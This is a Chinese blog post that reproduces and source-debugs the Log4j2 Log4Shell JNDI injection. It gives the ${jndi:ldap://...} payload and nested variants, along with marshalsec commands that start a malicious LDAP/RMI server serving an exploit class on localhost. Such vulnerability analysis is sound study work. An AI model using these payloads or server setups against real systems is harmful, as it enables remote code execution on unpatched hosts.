---

0x01 前言：

2021年12月9日，各大公司都被一个核弹级漏洞惊醒了，该漏洞一旦被攻击者利用就会造成及其严重的影响。该漏洞甚至被认为可能是“计算机历史上最大的漏洞”。经过快速分析和确认，该漏洞影响范围极其广泛，危害极其严重。然后从10日凌晨开始很多公司的程序员都被迫开始应急相应，加班加点修复问题。该漏洞涉及包含但不限于 ElasticSearch、Druid、dubbo、Redis 等常用应用与组件。

当初用这个漏洞也刷了一点 edu rank, 嘿嘿~

---

0x02 版本范围：

除以上版本，其他版本均存在漏洞。但本文分析的最初漏洞版本 (<= 2.14.1)，绕过修复版本后续更新。

---

0x03 漏洞复现：

1、前期准备：(本地复现)：

• marshalsec (Java反序列化工具，用于启动 RMI & LDAP 服务)
• maven
• java 1.8
• python 3.x

2、创建maven项目，引入log4j2 依赖, 并编写主启动类：

• pom.xml 引入如下依赖：

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.11.2</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.11.2</version>
        </dependency>
    </dependencies>

• 主启动类编写：

注意：并非只有调用 error() 才会触发，只是因为 error 日志优先级最高，不需要写 log4j2.xml 配置文件就可以直接触发，要想使用 info, warn 必须配置 log4j2.xml， 否则无法复现成功。（网上很多都是通过 error() 复现，担心读者造成误解）

3、创建maven项目，编写恶意exp，并编译项目获得 .class 文件：

4、把 .class 文件复制到 marshalsec-0.0.3-SNAPSHOT-all.jar 同文件夹下，并启动 LDAP 服务：

并不一定要在同一文件夹下，Exp.class 是通过web服务访问，放一起仅为了方便。

• LDAP服务命令：java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost/#Exp 6666
• RMI服务命令：java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost/#Exp 6666

4、在Exp.class的当前目录下启动 web 服务：

python -m http.server 80

5、启动主启动类 Main, 验证漏洞：

漏洞复现完毕，计算器成功弹出

---

0x04 原理分析：

1、前置知识:

从 payload可以看出，这是基于 JNDI (Java命名和目录接口) 的注入漏洞。什么是 JNDI 注入呢？不了解可以前往 => ：https://blog.csdn.net/gental_z/article/details/122303540

知道是 JNDI 注入，那就要注意一下部分 Java JDK 版本对 JNDI 的限制：（博主复现用的 JDK 8u111）
1、JDK 6u45、7u21之后：java.rmi.server.useCodebaseOnly的默认值被设置为true，表示禁用自动加载远程类文件。
2、JDK 6u141、7u131、8u121之后：增加了com.sun.jndi.rmi.object.trustURLCodebase选项，默认为false，禁止RMI和CORBA协议使用远程codebase的选项。
3、JDK 6u211、7u201、8u191之后：增加了com.sun.jndi.ldap.object.trustURLCodebase选项，默认为false，禁止LDAP协议使用远程codebase的选项。

---

2、JNDI注入流程：

---

3、代码审计分析：

采用动态断点调试进行分析

• 我们先在代码中编写 log.error()，作为日志入口。

• 进入error()函数中，我们可以看到在打印日志之前，第一件事情是判断该log日志是否被允许打印。

通过以上代码分析，知道了在没有配置 log4j2.xml 情况下，默认日志 level 是 ERROR, 如果使用 info(), warn() 打印日志，将无法打印。原因：(level: ERROR = 200, WARN = 300, INFO = 400), INFO 和 WARN 的level 均大于 ERROR 的 level， filter 函数返回 false, 既 isEnabled() 返回 false, 导致无法调用 logMessage()，最终退出日志打印。 如下log4j2.xml配置日志级别为 INFO， 那么 error(), info(), warn() 均可以复现。

• 步入 logMessage(), 调用 logMessageSafely(), 注释: “实现编译为30字节的字节码”。 emmm, 不知道有啥用，只要 msg 参数没有发生改变就问题不大，直接跳过继续跟进。

• 现在前期验证工作基本完成，logEventFactory 创建打印事件 createEvent(), 把需要日志输出的信息放入其中, 判断该打印事件是否要忽略，否则执行打印事件。

• 到一处关键位置 callAppenders, Appender 简单说就是管道，定义了日志内容的去向(保存位置)。如果 log4j2.xml 没有配置，获取一个默认console, 并把日志事件 event 装载进去。

• 继续跟进，经过一系列的条件过滤终于到了 appender 的处理了，获取配置文件日志输出格式，对其进行编码。

默认日志格式： %d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n

• 继续跟进可以看到 toText(), 开始对 日志event 进行序列化处理。

• 查看 formatters 数组，可以看到下标为 8 存放的是我们需要打印的信息 (${jndi:ldap://127.0.0.1:6666/Exp})。其余下标存放的都是系统自动根据配置文件打印的额外信息，我们无法通过参数控制，所以直接设置条件断点跳转至 i = 8 进行分析。

条件断点设置技巧：

• 继续跟入看到调用了Converter相关的方法，不难看出每个formatter和converter为了拼接日志的每一部分，最终得到真正的日志打印信息字符串。

• 跟入MessagePatternConverter.format() 方法，终于到了核心代码的部分, 看看是如何识别 ${jndi:ldap://127.0.0.1:6666/Exp}的。

通过判断 message 有没有 ${ ，如果存在说明是需要进行变量表达式提取并解析，那我在想如果我的格式是：${jndi:ldap://127.0.0.1:6666/Exp 或者 ${${${${jndi:ldap://127.0.0.1:6666/Exp}}}} 会有用吗？
通过断点调试发现 for 循环次数由 ${ 个数决定的， replace() 就是从 ${} 中层层递归提取出变量：jndi:ldap://127.0.0.1:6666/Exp。也就是说 ${jndi:ldap://127.0.0.1:6666/Exp 格式会执行一次 for 循环，而调用 replace() 由于缺少 },导致无法正常提取出变量，也就无法解析，进而无法远程加载类弹出计算器。 ${${${${jndi:ldap://127.0.0.1:6666/Exp}}}} 格式会执行3次 for 循环，每次调用 replace() 都能通过递归提取出变量，进而远程加载类弹出计算器 (弹 3次)。

• 继续步入 replace() 方法，调用 substitute() 方法从 ${jndi:ldap://127.0.0.1:6666/Exp} 中递归出变量表达式，调用 resolveVariable() 方法对变量表达式进行解析。

• 进入 resolveVariable() 方法，可以看到 getVariableResolver() 获取解析器，一共有10种解析器，调用 lookup() 匹配解析器并解析。

• 跟进 lookup.lookup()，最后调用 JndiManager.lookup() 访问 LDAP 服务器，远程加载类弹出计算器。

---

0x05 调用栈：

综上分析，调用栈如下：

---

0x06 总结：

1、 log4j 的源码中执行了 jndiManager.lookup() 方法，这个方法是导致本次漏洞的根因。

2、JNDI 全称为 Java Naming and Directory Interface 也即JAVA 名称和目录接口, JNDI 架构上主要包含两个部分，即 Java 的应用层接口和 SPI，SPI 全称为 Service Provider Interface，即服务供应接口，主要作用是为底层的具体目录服务提供统一接口，从而实现目录服务的可插拔式安装，如下图所示:

3、JDK 中包含了下述内置的目录服务:

RMI: Java Remote Method Invocation，Java 远程方法调用

RMI(Remote Method Invocation)即java的远程方法调用，Java RMI是专为Java环境设计的远程方法调用机制，远程服务器实现具体的Java方法并提供接口，客户端本地仅需根据接口类的定义，提供相应的参数即可调用远程方法并获取执行结果，即JAVA的RPC机制。关于RMI需要注意以下两点：

• RMI的传输是基于反序列化的。
• 对于任何一个以对象为参数的RMI接口，你都可以发一个自己构建的对象，迫使服务器端将这个对象按任何一个存在于服务端classpath（不在classpath的情况，可以看后面RMI动态加载类相关部分）中的可序列化类来反序列化恢复对象。

LDAP: 轻量级目录访问协议:

LDAP即是JNDI SPI支持的Service Provider之一，但同时也是协议。是早期 X.500 DAP (目录访问协议) 的一个子集，因此有时也被称为 X.500-lite。LDAP目录服务是由目录数据库和一套访问协议组成的系统，目录服务是一个特殊的数据库，用来保存描述性的、基于属性的详细信息，能进行查询、浏览和搜索，以树状结构组织数据。LDAP目录服务基于客户端-服务器模型，它的功能用于对一个存在目录数据库的访问。
LDAP目录和RMI注册表的区别在于是前者是目录服务，并允许分配存储对象的属性。
LDAP 的目录信息是以树形结构进行存储的，在树根一般定义国家（c=CN）或者域名（dc=com），其次往往定义一个或多个组织（organization，o）或组织单元（organization unit，ou）。一个组织单元可以包含员工、设备信息（计算机/打印机等）相关信息。

CORBA: Common Object Request Broker Architecture，通用对象请求代理架构，用于 COS 名称服务(Common Object Services)